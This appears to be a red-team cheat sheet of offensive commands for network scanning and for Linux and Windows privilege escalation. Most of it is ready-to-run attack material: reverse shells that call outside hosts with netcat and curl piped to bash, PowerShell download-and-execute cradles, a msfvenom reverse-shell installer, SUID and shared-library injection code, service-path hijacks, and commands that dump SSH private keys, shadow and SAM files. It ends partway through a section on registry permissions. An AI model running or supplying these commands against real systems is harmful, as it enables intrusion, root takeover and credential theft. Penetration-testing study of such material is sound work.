👿Red Teaming All The Things

About Red Teaming All The Things

Scanning & Enumeration

Port Scanning

nmap -sC -sV -p- --min-rate 10000 x.x.x.x
nmap -A -sS -Pn -n x.x.x.x
nmap -sU -p- --max-retries 0 --min-rate 500 x.x.x.x

nmap -p- -sV -sC $IP --open

Web Fuzzing

gobuster

gobuster dns -d haxtables.htb -w ~/Tools/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
gobuster -u x.x.x.x -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 20
gobuster -u x.x.x.x -w /usr/share/seclists/Discovery/Web_Content/quickhits.txt -t 20
gobuster -u x.x.x.x -w /usr/share/seclists/Discovery/Web_Content/common.txt -t 20 -x .txt,.php

Wfuzz

wfuzz -w /usr/share/seclists/Discovery/Web_Content/common.txt --hc 400,404,500 http://x.x.x.x/FUZZ
wfuzz -w /usr/share/seclists/Discovery/Web_Content/quickhits.txt --hc 400,404,500 http://x.x.x.x/FUZZ

SMB

smbclient -L x.x.x.x
nmap --script=smb-check-vulns.nse x.x.x.x
smbmount //x.x.x.x/share /mnt –o username=hodor,workgroup=hodor
mount -t cifs //x.x.x.x/share /mnt
smbclient \\\\x.x.x.x\\share
rpcclient -U "" x.x.x.x

SNMP

snmpwalk -c public -v1 x.x.x.x
nmap -p 88 --script krb5-enum-users --script-args krb5-enum-users.realm='domain.local',userdb=/usr/share/wordlists/SecLists/Usernames/top_shortlist.txt x.x.x.x

Git

https://github.com/internetwache/GitTools

PHP filter chain generator

python3 php_filter_chain_generator.py --chain '<?= `curl http://10.10.10.10/c|bash ` ;?>'

Enumerate for Web

nikto -h x.x.x.x

Enumerate for Linux

enum4linux -A x.x.x.x

DNS Zone Transfer

dig axfr domain.com @nameserver

WPscan

wpscan --url https://x.x.x.x
wpscan --url http://x.x.x.x --wordlist /usr/share/wordlists/SecLists/Passwords/best1050.txt --username admin --threads 10

id_rsa

  • Searching id_rsa key

#!/bin/bash
for X in $(cut -f6 -d ':' /etc/passwd |sort |uniq); do
    if [ -s "${X}/.ssh/id_rsa" ]; then
        echo "### ${X}: "
        cat "${X}/.ssh/id_rsa"
        echo ""
    fi
done

Dirsearch

python3 dirsearch.py -u http://192.168.230.53:8080 -w /usr/share/seclists/Discovery/Web-Content/big.txt -t 60 --full-url 

Linux Privilege Escalation

LinEnum.sh

LinPrivChecker.py

(root) NOPASSWD: /usr/bin/systemctl restart *

echo '[Service]
Type=oneshot
ExecStart=chmod +s /bin/bash
[Install]
WantedBy=multi-user.target' > /etc/systemd/system/getroot.service

sudo systemctl restart getroot
bash-5.1$ /bin/bash -p
whoami
root

find SUID

  • Sticky bit

find / -perm -1000 -type d 2>/dev/null
  • SGID ( chmod 2000 )

find / -perm -g=s -type f 2>/dev/null
  • SUID ( chmod 4000 )

find / -perm -u=s -type f 2>/dev/null
find /* -user root -perm -4000 -print 2>/dev/null
  • SUID or GUID

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null 

Ubuntu 16.04 4.4 Exploit

[double_fdput](wget https://github.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/39772.zip)

Linux privilege escalation

Spawn Interactive Shell and set env

python3 -c 'import pty;pty.spawn("/bin/bash");'  
ctrl z  
echo $TERM  
stty -a  
stty raw -echo  
fg  

export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH  
export TERM=xterm256-color  
export SHELL=bash  

stty rows \<> colums \<>  

Restricted bash

perl -e 'exec "/bin/sh";'  
/bin/sh -i  
exec "/bin/sh";  
echo os.system('/bin/bash')  
/bin/sh -i  
ssh user@$ip nc $localip 4444 -e /bin/sh  
export TERM=linux  

Automated scripts

linPEAS.sh
LinEnum.sh
linuxprivchecker.py
unix-privesc-check
Mestaploit: multi/recon/local_exploit_suggester

Check environment

Check OS and Kernel

cat /etc/issue
cat /etc/*-release
  cat /etc/lsb-release      # Debian based
  cat /etc/redhat-release   # Redhat base

cat /proc/version
uname -a
uname -mrs
rpm -q kernel
dmesg | grep Linux
ls /boot | grep vmlinuz-

Check environment variables

cat /etc/profile
cat /etc/bashrc
cat ~/.bash_profile
cat ~/.bashrc
cat ~/.bash_logout
env
set

# Is there a printer 
lpstat -a

Check any restricitions on any folders

mount -l        >> any no exec or no suid?  

Check any unmounted drives  
cat /etc/fstab  

Applications and services

Running application / services

ps aux
ps -ef
top
cat /etc/services


ps aux | grep root
ps -ef | grep root

Installed applications - Check for vulnerable versions

ls -alh /usr/bin/
ls -alh /sbin/
dpkg -l
rpm -qa
ls -alh /var/cache/apt/archivesO
ls -alh /var/cache/yum/
pspy4 - to capture change in processes 

Application config files

cat /etc/syslog.conf
cat /etc/chttp.conf
cat /etc/lighttpd.conf
cat /etc/cups/cupsd.conf
cat /etc/inetd.conf
cat /etc/apache2/apache2.conf
cat /etc/my.conf
cat /etc/httpd/conf/httpd.conf
cat /opt/lampp/etc/httpd.conf
ls -aRl /etc/ | awk '$1 ~ /^.*r.*/

Jobs / CRONS

crontab -l
ls -alh /var/spool/cron
ls -al /etc/ | grep cron
ls -al /etc/cron*
cat /etc/cron*
cat /etc/at.allow
cat /etc/at.deny
cat /etc/cron.allow
cat /etc/cron.deny
cat /etc/crontab
cat /etc/anacrontab
cat /var/spool/cron/crontabs/root
ls -al /var/cron.log - check timestamps 

# If cron entries have relative paths, and If path is editable by user, cron entries can be hijacked by adding custom path to PATH variable
export PATH=/tmp:$PATH

# If Cron entris have wildcards, eg. tar with a (*)wildcard can be hijacked by using below on the folder 
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=sh\ runme.sh

# Check permissions on cron binaries, overwrite possible? 

# Check for frequent CRONS running in bg 
# You can monitor the processes to search for processes that are being executed every 1,2 or 5 minutes. Maybe you can take advantage of it and escalate privileges. 
# For example, to monitor every 0.1s during 1 minute, sort by less executed commands and deleting the commands that have beeing executed all the time, you can do:
for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp;
# https://github.com/DominicBreuker/pspy 

SystemD timers
systemctl list-timers -all
# watch for recently executed timers 

Network

Network details

/sbin/ifconfig -a
cat /etc/network/interfaces
cat /etc/sysconfig/network
ip a 
ip addr

cat /etc/resolv.conf
cat /etc/sysconfig/network
cat /etc/networks
iptables -L
hostname
dnsdomainname

Existing connections

lsof -i
lsof -i :80
grep 80 /etc/services
netstat -antup
netstat -antpx
netstat -tulpn
chkconfig --list
chkconfig --list | grep 3:on
last
w

## Cached IPs 
arp -e
route
/sbin/route -nee

### TCPDUMP
tcpdump tcp dst 192.168.1.7 80 and tcp dst 10.5.5.252 21

USER and sensitive info

id
who
w
last
cat /etc/passwd | cut -d: -f1    # List of users
grep -v -E "^#" /etc/passwd | awk -F: '$3 == 0 { print $1}'   # List of super users
awk -F: '($3 == "0") {print}' /etc/passwd   # List of super users
cat /etc/sudoers
sudo -l

## Check for Sensitive info 
cat /etc/passwd
cat /etc/group
cat /etc/shadow
ls -alh /var/mail/
ls -ahlR /root/
ls -ahlR /home/

cat /var/apache2/config.inc
cat /var/lib/mysql/mysql/user.MYD
cat /root/anaconda-ks.cfg

cat ~/.bash_history
cat ~/.nano_history
cat ~/.atftp_history
cat ~/.mysql_history
cat ~/.php_history

## SSH KEYS
cat ~/.ssh/authorized_keys
cat ~/.ssh/identity.pub
cat ~/.ssh/identity
cat ~/.ssh/id_rsa.pub
cat ~/.ssh/id_rsa
cat ~/.ssh/id_dsa.pub
cat ~/.ssh/id_dsa
cat /etc/ssh/ssh_config
cat /etc/ssh/sshd_config
cat /etc/ssh/ssh_host_dsa_key.pub
cat /etc/ssh/ssh_host_dsa_key
cat /etc/ssh/ssh_host_rsa_key.pub
cat /etc/ssh/ssh_host_rsa_key
cat /etc/ssh/ssh_host_key.pub
cat /etc/ssh/ssh_host_key

FileSystem


cat /etc/fstab
cat /etc/exports
mount
df -h
# Check for NFS no root squash on exports, can be escalated by mounting on local system and writing an suid binary as root, root privs are not squashed 
showmount -e MACHINE_IP
mkdir /tmp/1
mount -o rw,vers=2 MACHINE_IP:/tmp /tmp/1
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/1/x.c
gcc /tmp/1/x.c -o /tmp/1/x
chmod +s /tmp/1/x


Which configuration files can be written in /etc/? Able to reconfigure a service?

ls -aRl /etc/ | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone
ls -aRl /etc/ | awk '$1 ~ /^..w/' 2>/dev/null       # Owner
ls -aRl /etc/ | awk '$1 ~ /^.....w/' 2>/dev/null    # Group
ls -aRl /etc/ | awk '$1 ~ /w.$/' 2>/dev/null        # Other

find /etc/ -readable -type f 2>/dev/null               # Anyone
find /etc/ -readable -type f -maxdepth 1 2>/dev/null   # Anyone


VAR contents 
ls -alh /var/log
ls -alh /var/mail
ls -alh /var/spool
ls -alh /var/spool/lpd
ls -alh /var/lib/pgsql
ls -alh /var/lib/mysql
cat /var/lib/dhcp3/dhclient.leases

HTTP ROOT / FTP ROOTs 
ls -alhR /var/www/
ls -alhR /srv/www/htdocs/
ls -alhR /usr/local/www/apache22/data/
ls -alhR /opt/lampp/htdocs/
ls -alhR /var/www/html/

Check Application logs for sensitive data 
cat /etc/httpd/logs/access_log
cat /etc/httpd/logs/access.log
cat /etc/httpd/logs/error_log
cat /etc/httpd/logs/error.log
cat /var/log/apache2/access_log
cat /var/log/apache2/access.log
cat /var/log/apache2/error_log
cat /var/log/apache2/error.log
cat /var/log/apache/access_log
cat /var/log/apache/access.log
cat /var/log/auth.log
cat /var/log/chttp.log
cat /var/log/cups/error_log
cat /var/log/dpkg.log
cat /var/log/faillog
cat /var/log/httpd/access_log
cat /var/log/httpd/access.log
cat /var/log/httpd/error_log
cat /var/log/httpd/error.log
cat /var/log/lastlog
cat /var/log/lighttpd/access.log
cat /var/log/lighttpd/error.log
cat /var/log/lighttpd/lighttpd.access.log
cat /var/log/lighttpd/lighttpd.error.log
cat /var/log/messages
cat /var/log/secure
cat /var/log/syslog
cat /var/log/wtmp
cat /var/log/xferlog
cat /var/log/yum.log
cat /var/run/utmp
cat /var/webmin/miniserv.log
cat /var/www/logs/access_log
cat /var/www/logs/access.log
ls -alh /var/lib/dhcp3/
ls -alh /var/log/postgresql/
ls -alh /var/log/proftpd/
ls -alh /var/log/samba/

Find SUID Files

find / -perm -1000 -type d 2>/dev/null   # Sticky bit - Only the owner of the directory or the owner of a file can delete or rename here.  
find / -perm -g=s -type f 2>/dev/null    # SGID (chmod 2000) - run as the group, not the user who started it.  
find / -perm -u=s -type f 2>/dev/null    # SUID (chmod 4000) - run as the owner, not the user who started it.  

find / -perm -g=s -o -perm -u=s -type f 2>/dev/null    # SGID or SUID < full search  
for i in `locate -r "bin$"`; do find $i \( -perm -4000 -o -perm -2000 \) -type f 2>/dev/null; done    # Looks in 'common' places: /bin, /sbin < quicker  

-find starting at root (/), SGID or SUID, not Symbolic links, only 3 folders deep, list with more detail and hide any errors (e.g. permission denied)
find / -perm -g=s -o -perm -4000 ! -type l -maxdepth 3 -exec ls -ld {} \; 2>/dev/null  

find / perm /u=s -user "User name that you are looking for" 2>/dev/null  

Writable file and nobody files

find / -xdev -type d \( -perm -0002 -a ! -perm -1000 \) -print   # world-writeable files  
find /dir -xdev \( -nouser -o -nogroup \) -print   # Noowner files  

Writable by current user

find / perm /u=w -user `whoami` 2>/dev/null  
find / -perm /u+w,g+w -f -user `whoami` 2>/dev/null  
find / -perm /u+w -user `whoami` 2>/dev/nul  

Any script files that we can modify?

find / -writable -type f -name "*.py" 2>/dev/null     #find all python file that can be write by us  

ls -aRl / | awk '$1 ~ /^.*w.*/' 2>/dev/null     # Anyone  
ls -aRl / | awk '$1 ~ /^..w/' 2>/dev/null       # Owner  
ls -aRl / | awk '$1 ~ /^.....w/' 2>/dev/null    # Group  
ls -aRl / | awk '$1 ~ /w.$/' 2>/dev/null        # Other  

find / -readable -type f 2>/dev/null               # Anyone  
find / -readable -type f -maxdepth 1 2>/dev/null   # Anyone  

Any service running by root?

ps aux|grep "root"  

/usr/bin/journalctl (Which is normally not readable by a user) << cron job?  

Find password

grep -rnw '/' -ie 'pass' --color=always  
grep -rnw '/' -ie 'DB_PASS' --color=always  
grep -rnw '/' -ie 'DB_PASSWORD' --color=always  
grep -rnw '/' -ie 'DB_USER' --color=always  

Interesting files

Files modified in the last 5 mins
find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null

Sqlite DB files
find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null

All hidden files 
find / -type f -iname ".*" -ls 2>/dev/null

Scrtips in PATH 
for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done
for d in `echo $PATH | tr ":" "\n"`; do find $d -type -f -executable 2>/dev/null; done

Backup files 
find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/games /usr/sbin /root /tmp -type f \( -name "*backup*" -o -name "*\.bak" -o -name "*\.bck" -o -name "*\.bk" \) 2>/dev/nulll

Exploitation techniques

SUID

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null Check GTFOBins

Is suid bit set on these applications?

Nmap  
    nmap -V     <Nmap version 2.02 - 5.21 had an interactive mode  
    nmap --interactive  
    nmap> !sh  
    
Vim  
    Modify system file, e.g. passwd?  
    
    vim.tiny  
    - Press ESC key  
    :set shell=/bin/sh  
    :shell  
    
find  
    touch pentestlab  
    find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;  
    
Bash  
    bash -p      
            
More  
    
Less  
    less /etc/passwd  
    !/bin/sh  

Nano  
    Can you modify system file?  
    Modify /etc/suoders  
    \<user> ALL=(ALL) NOPASSWD:ALL  
    
cp  
    Use cp to overwrite passwd with a new password  

Is there a custom SUID / SUDO application?

How can this application be run? Can be modify the path variable so that it will execute something else

find / -perm -4000 -type f -exec ls -la {} 2>/dev/null \

Operation of this application 
#Look for scripts, operation, relative paths, permissions 
strings customapp 


#Loading shared libararies – use strace to trace a suid file and check for non existent lib files. Compile a lib file in C and put it in the missing location 
#https://www.boiteaklou.fr/Abusing-Shared-Libraries.html
strace /usr/local/bin/customapp 2>&1 | grep -i -E "open|access|no such file"
strace /usr/local/bin/customapp 
------Below can be used to compile----
#include <stdio.h>
#include <stdlib.h>

static void inject() __attribute__((constructor));

void inject() {
    system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}
-----------------------------------------
gcc -shared -o /home/user/missing.so -fPIC /home/user/missing.c

#Check for SUID binarys/applications vulnerable to symlink attacks
> check for nginxroot vulnerability 

#PATH hijacking 
strings /usr/local/bin/suid-env
## if relative path is used 
echo 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0; }' > /tmp/service.c
gcc /tmp/service.c -o /tmp/service
export PATH=/tmp:$PATH
/usr/local/bin/suid-env

## If full service path is specified in the SUID binary, we can still create bash function adn export it to services
function /usr/sbin/serviceX() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/serviceX
/usr/local/bin/suid-env2

## Second method 
env -i SHELLOPTS=xtrace PS4='$(cp /bin/bash /tmp && chown root.root /tmp/bash && chmod +s /tmp/bash)' /bin/sh -c '/usr/local/bin/suid-env2; set +x; /tmp/bash -p'

NFS priv esc

https://medium.com/@Kan1shka9/hacklab-vulnix-walkthrough-b2b71534c0eb

Linux capability

find / -type f -print0 2>/dev/null | xargs -0 getcap 2>/dev/null
getcap -r /
getcap -r / 2>/dev/null
# If we find cap_dac_read_search # read anything 
# cap_setuid+ep # setuid 
google that capability on how it can help us get root

Mysql run by root

MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library
https://www.exploit-db.com/exploits/1518/

You can also try
select sys_exec('echo test>/tmp/test.txt');
select sys_eval('echo test>/tmp/test.txt');

Docker group

#https://medium.com/@Affix/privilege-escallation-with-docker-56dc682a6e17
docker run -it --volume /:/mnt alpine:latest chroot /mnt

Overwite etc/passwd inside docker to gain root 

SSH bad keys attack

If Authorized_keys is readable, check for the public key content in debian-ssh github for private keys - refer Payload all the things
https://github.com/g0tmi1k/debian-ssh

https://book.hacktricks.xyz/linux-unix/linux-privilege-escalation-checklist https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/ https://sushant747.gitbooks.io/total-oscp-guide/content/privilege_escalation_-_linux.html https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md

Windows Privilege Escalation

  • https://github.com/Sp4c3Tr4v3l3r/OSCP/blob/main/Windows%20Privilege%20Escalation.md

  • https://github.com/gtworek/Priv2Admin

Windows

whoami /priv
net users
net localgroup administrators
cmdkey /list
klist
qwinsta

Windows Privilege Escalation

Check OS, Patch level, Basic

systeminfo  
Systeminfo | findstr /B /C:"OS Name" /C:"System Type"  etc .. 
## Updates
wmic qfe get Caption,Description,HotFixID,InstalledOn
Wmic logicaldisk get caption,description 

##Applications
wmic product get name, version, vendor
accesschk.exe -uws "Everyone" "C:\Program Files"
Get-ChildItem "C:\Program Files" -Recurse | Get-ACL | ?{$_.AccessToString -match "Everyone\sAllow\s\sModify"}

##Services 
sc query state=all | findstr "SERVICE_NAME:"
wmic service get name,displayname,pathname,startmode 
Get-WmiObject win32_service | Select-Object Name, State, PathName | Where-Object {$_.State -like 'Running'}


## Volume
mountvol


## Drivers - in powershell
driverquery.exe /v /fo csv | ConvertFrom-CSV | Select-Object ‘Display Name’, ‘Start Mode’, Path
Get-WmiObject Win32_PnPSignedDriver | Select-Object DeviceName, DriverVersion, Manufacturer | Where-Object {$_.DeviceName -like "*VMware*"}



whoami  
echo %USERNAME%  

whoami /priv
whoami /groups 
whoami /all
# If user has SeImpersonate privs 
# \\192.168.119.155\test\juicy.exe -l 4444 -p c:\windows\system32\cmd.exe -a "/c  \\192.168.119.155\test\nc.exe -e cmd.exe 192.168.119.155 4447" -t * -c {6d18ad12-bde3-4393-b311-099c346e6df9} 

net user  
net localgroup  
net user /domain  
net group /domain  
net group /domain <Group Name>  

Firewall / AV / Defender

netsh firewall show state  
netsh firewall show config  
Sc query windefend
Netsh advfirewall firewall dump, netsh firewall show state 

Network

ipconfig /all  
route print  
arp -A  

Checklist automated tools

Run winpeas 
Run PowerUp.ps1
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.119.155/PowerUp.ps1');Invoke-AllChecks"

Run Sherlock.ps1
powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.168.119.155/Sherlock.ps1');Find-AllVulns"

accesschk.exe /accepteula -wvu
Folder Perms 
\\192.168.119.155\test\accesschk.exe /accepteula -uwdqs "Authenticated Users" C:\
\\192.168.119.155\test\accesschk.exe /accepteula -uwdqs "Everyone" C:\
File Perms 
\\192.168.119.155\test\accesschk.exe /accepteula -uwqs  "Authenticated Users" C:\*.*
\\192.168.119.155\test\accesschk.exe /accepteula -uwdqs "Everyone" C:\*.*

Run JAWS

# Executables  
WinPEAS.exe /.bat * 
Seatbelt.exe 
Watson.exe * 
Sharpup.exe 
windows-privesc-check2.exe --dump -G

#Powershell 
Sherlock.ps1 * 
PowerUp.ps1 * 
jaws-enumps1 * 


#Other 
Windows-exploit-suggester.py *
Systeminfo -> a text file and run it with windows exploit suggester.py, search for exploit in SecWiki github 

MSF exploit suggester *
In a meterpreter session – run /post/multi/recon/local_exploit_suggester - > shows list of kernel

Installed applications and services

#running processes to started services 
tasklist /SVC
#Windows services thatare started
net start
#Look for 3rd party drivers 
DRIVERQUERY

#Check if WMIC is allowd on low pirv shell. Mostly allowed on Win7 /win8 
 wmic /?
Automated WMIC info - https://www.fuzzysecurity.com/tutorials/files/wmic_info.rar 
wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KB.." /C:"KB.."

#Check directory permissions 
cacls "C:\Python27"

Scheduled Tasks

schtasks /query /fo LIST /v  # Copy to schtasks.txt on local and run 
-> cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM  

dir %SystemRoot%\Tasks  

e.g. c:\windows\tasks\  
e.g. c:\windows\system32\tasks\  

# If we have write permissions on the  scheduleded taks binary / binary dir 
accesschk.exe -dqv "E:\GrabLogs"
copy evil-tftp.exe E:\GrabLogs\tftp.exe

Startups and autoruns

reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run

wmic startup get caption,command
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\R
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce
dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup"
dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"

Check access on the files and dir using accesschk , if writebale , we can write malicuis binary 
accesschk64.exe /accepteula -wvu "C:\Program Files\Autorun Program"

Service Permissions

Check if service config can be modified

accesschk.exe /accepteula  
accesschk.exe -uwcqv "Authenticated Users" * /accepteula  
accesschk.exe -ucqv \<Service Name>  

sc qc \<Service Name>  #  Get service details  

Check service with weak file permission

wmic.exe  
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> c:\windows\temp\permissions.txt
for /f eol^=^"^ delims^=^" %a in (c:\windows\temp\permissions.txt) do cmd.exe /c icacls "%a"  

sc.exe  
sc query state= all | findstr "SERVICE_NAME:" >> Servicenames.txt  
FOR /F %i in (Servicenames.txt) DO echo %i  
type Servicenames.txt  
FOR /F "tokens=2 delims= " %i in (Servicenames.txt) DO @echo %i >> services.txt  
FOR /F %i in (services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >> path.txt  

Unquoted Service Path

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """  

sc query  
sc qc service name  

AlwaysInstallElevated << IF 64 bits use: %SystemRoot%\Sysnative\reg.exe

reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer\
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\

Check for AlwaysInstallElevated = 1 , if yes create a msfvenom msi payload 
msfvenom -p windows/shell_reverse_tcp lhost= lport= -f msi -o setup.msi
msiexec /quiet /qn /i C:\Temp\setup.msi

Service only available from inside

netstat -ano  
upload plink.exe  
plink.exe -R "remote port":127.0.0.1:"local port"  root@"ipaddress"

Pasword in files

Check for savecred

https://pentestlab.blog/tag/privilege-escalation/page/3/  
cmdkey /list        << If there are entries, it means that we may able to runas certain user who stored his cred in windows  
runas /savecred /user:ACCESS\Administrator "c:\windows\system32\cmd.exe /c \\IP\share\nc.exe -nv 10.10.14.2 80 -e cmd.exe"  

Can we find any SAM files?

%SYSTEMROOT%\repair\SAM  
%SYSTEMROOT%\System32\config\RegBack\SAM  
%SYSTEMROOT%\System32\config\SAM  
%SYSTEMROOT%\repair\system  
%SYSTEMROOT%\System32\config\SYSTEM  
%SYSTEMROOT%\System32\config\RegBack\system  

findstr /si password *.txt  
findstr /si password *.xml  
findstr /si password *.ini  
Findstr /si password *.config 
findstr /si pass/pwd *.ini  

dir /s *pass* == *cred* == *vnc* == *.config*  

in all files  
findstr /spin "password" *.*  
findstr /spin "password" *.*  

Unattended config

c:\sysprep.inf  
c:\sysprep\sysprep.xml  
c:\unattend.xml  
%WINDIR%\Panther\Unattend\Unattended.xml  
%WINDIR%\Panther\Unattended.xml  

dir /b /s unattend.xml  
dir /b /s web.config  
dir /b /s sysprep.inf  
dir /b /s sysprep.xml  
dir /b /s *pass*  

dir c:\*vnc.ini /s /b  
dir c:\*ultravnc.ini /s /b   
dir c:\ /s /b | findstr /si *vnc.ini  

Registry

### VNC
reg query "HKCU\Software\ORL\WinVNC3\Password"  
reg query "HKCU\Software\TightVNC\Server"  

### Windows autologin  
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon"  
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr "DefaultUserName DefaultDomainName DefaultPassword"  

### SNMP Paramters  
reg query "HKLM\SYSTEM\Current\ControlSet\Services\SNMP"  

### Putty  
reg query "HKCU\Software\SimonTatham\PuTTY\Sessions"  

### Search for password in registry  
reg query HKLM /f password /t REG_SZ /s  
reg query HKCU /f password /t REG_SZ /s  

REGSVC ACL

Check for registry services 
> Get-Acl -Path hklm:\System\CurrentControlSet\services\regsvc | fl
Look for access group permissions for NT AUTH/Interactive 

Create a new window service binary, check attack directory for source (net user add works) 
> x86_64-w64-mingw32-gcc windows_service.c -o x.exe

Add to the registry path 
> reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d c:\temp\x.exe /f
Execute using 
> sc start regsvc 

################################################################################################################################################

Unquoted Service Path Exploitation


## Case 1, SeShutdownPrivilege is listed when checked whoami /priv # doesn't matter even if it shows Disabled

# Search for services that auto start:
wmic service get name,displayname,pathname,startmode | findstr /i "auto"
# Search for non-standard services
wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows"
# Potential unquoted service output example
Heisenburg Service   heisenburgsvc     "C:\Program Files\Heisenburg\The One Who\knocks.exe"        auto

# next check if W or F permission exists for BUILTIN\Users or Everyone on one of the sub directory
icacls "C:\\"                         # or: .\accesschk.exe /accepteula -uwdq C:\
icacls "C:\Program Files"             # or: .\accesschk.exe /accepteula -uwdq "C:\Program Files"
icacls "C:\Program Files\Heisenburg"  # or  .\accesschk.exe /accepteula -uwdq "C:\Program Files\Heisenburg"

# Example output if (builtin\users or EVERYONE) has ( (I) or (F) ) on "C:\Program Files\Heisenburg":
#                  BUILTIN\Users:(F)
#                  BUILTIN\Users:(I)(RX) 
# Example output for accesschk.exe:
#  RW BUILTIN\Users

# Create reverse shell binary and copy it accordingly
copy %temp%\backdoor.exe "C:\Program Files\Heisenburg\The.exe" 

# now reboot to have the service auto start 
shutdown /r /t 0

## Case 2, SeShutdownPrivilege = Disabled, we have (service_stop,service_start) privilege on a service

# Search for services that has manual start mode and non-standard
wmic service get name,displayname,pathname,startmode | findstr /i "manual" | findstr /i /v "c:\windows"
# Potential unquoted service output example
Heisenburg Service   heisenburgsvc     "C:\Program Files\Heisenburg\The One Who\knocks.exe"        manual

# Check if we have service_stop, service_start privilege
.\accesschk.exe /accepteula -ucqv user heisenburgsvc

# next check if W or F permission exists for BUILTIN\Users or Everyone on one of the sub directory
icacls "C:\\"                         # or: .\accesschk.exe /accepteula -uwdq C:\
icacls "C:\Program Files"             # or: .\accesschk.exe /accepteula -uwdq "C:\Program Files"
icacls "C:\Program Files\Heisenburg"  # or  .\accesschk.exe /accepteula -uwdq "C:\Program Files\Heisenburg"

# Example output if (builtin\users or EVERYONE) has ( (I) or (F) ) on "C:\Program Files\Heisenburg":
#                  BUILTIN\Users:(F)
#                  BUILTIN\Users:(I)(RX) 
# Example output for accesschk.exe:
#  RW BUILTIN\Users



# Since there is spaces between "\The One Who\" on the path
# Windows will look for "\The.exe" first, then "\The One.exe", then "\The One Who.exe", and finally "\The One Who\knocks.exe"

# Create reverse shell binary and copy it accordingly

copy %temp%\backdoor.exe "C:\Program Files\Heisenburg\The.exe" 

# Start netcat listener to catch the reverse shell and start the service
net start heisenburgsvc # net stop heisenburgsvc first if the service is already running.

Weak service permissions Exploitation

# download accesschk.exe form here https://web.archive.org/web/20080530012252/http://live.sysinternals.com/accesschk.exe
# List access for all services
.\accesschk.exe /accepteula -uwcqv "Authenticated Users" * # or: .\accesschk.exe /accepteula -uwcqv user *
# Example Output, have full access in two services:
# $ RW SSDPSRV
# $	SERVICE_ALL_ACCESS
# $ RW upnphost
# $	SERVICE_ALL_ACCESS

# at least (service_change_config, service_start, service_stop) access is needed, service_all_access = full access

# If both conditions are met we can start exploiting this now.

# List current config for the service
sc qc upnphost
# see if START TYPE is DEMAND_START and if SERVICE_START_NAME is higher privileged
# $        START_TYPE         : 3   DEMAND_START
# ...
# ... 
# $        SERVICE_START_NAME : NT AUTHORITY\LocalService 
# change binpath with the payload you want to execute, example rev shell with uploaded nc.exe:
sc config "upnphost" binpath= "C:\WINDOWS\Temp\nc.exe 192.168.119.147 443 -e C:\WINDOWS\System32\cmd.exe"
# remove dependencies (if any)
sc config "upnphost" depend= ""
# make it run from system account
sc config "upnphost" obj= ".\LocalSystem" password= ""
# Start netcat listener to catch the reverse shell and start the service
net start "upnphost" # net stop "upnphost" first if the service is already running.

Weak Registry Permissions Exploitation

# Check permissions for an example service "upnphost"
Get-Acl HKLM:\System\CurrentControlSet\Services\upnphost | Format-List # PowerShell
# Example output, Check if NT AUTHORITY\INTERACTIVE has Full Control
# Access : Everyone Allow  ReadKey
#          NT AUTHORITY\INTERACTIVE Allow  FullControl
#          NT AUTHORITY\SYSTEM Allow  FullControl 
.\accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\upnphost # same thing accesschk
# Example output for accesschk.exe:
#   RW NT AUTHORITY\INTERACTIVE
#         KEY_ALL_ACCESS

# Check if we have service_stop, service_start privilege
.\accesschk.exe /accepteula -ucqv user upnphost

# If both conditions are met we can start exploiting this now.

# list current values of the service
reg query HKLM\System\CurrentControlSet\Services\upnphost
# example output:
# HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\upnphost
#     DisplayName    REG_SZ    @%systemroot%\system32\upnphost.dll,-213
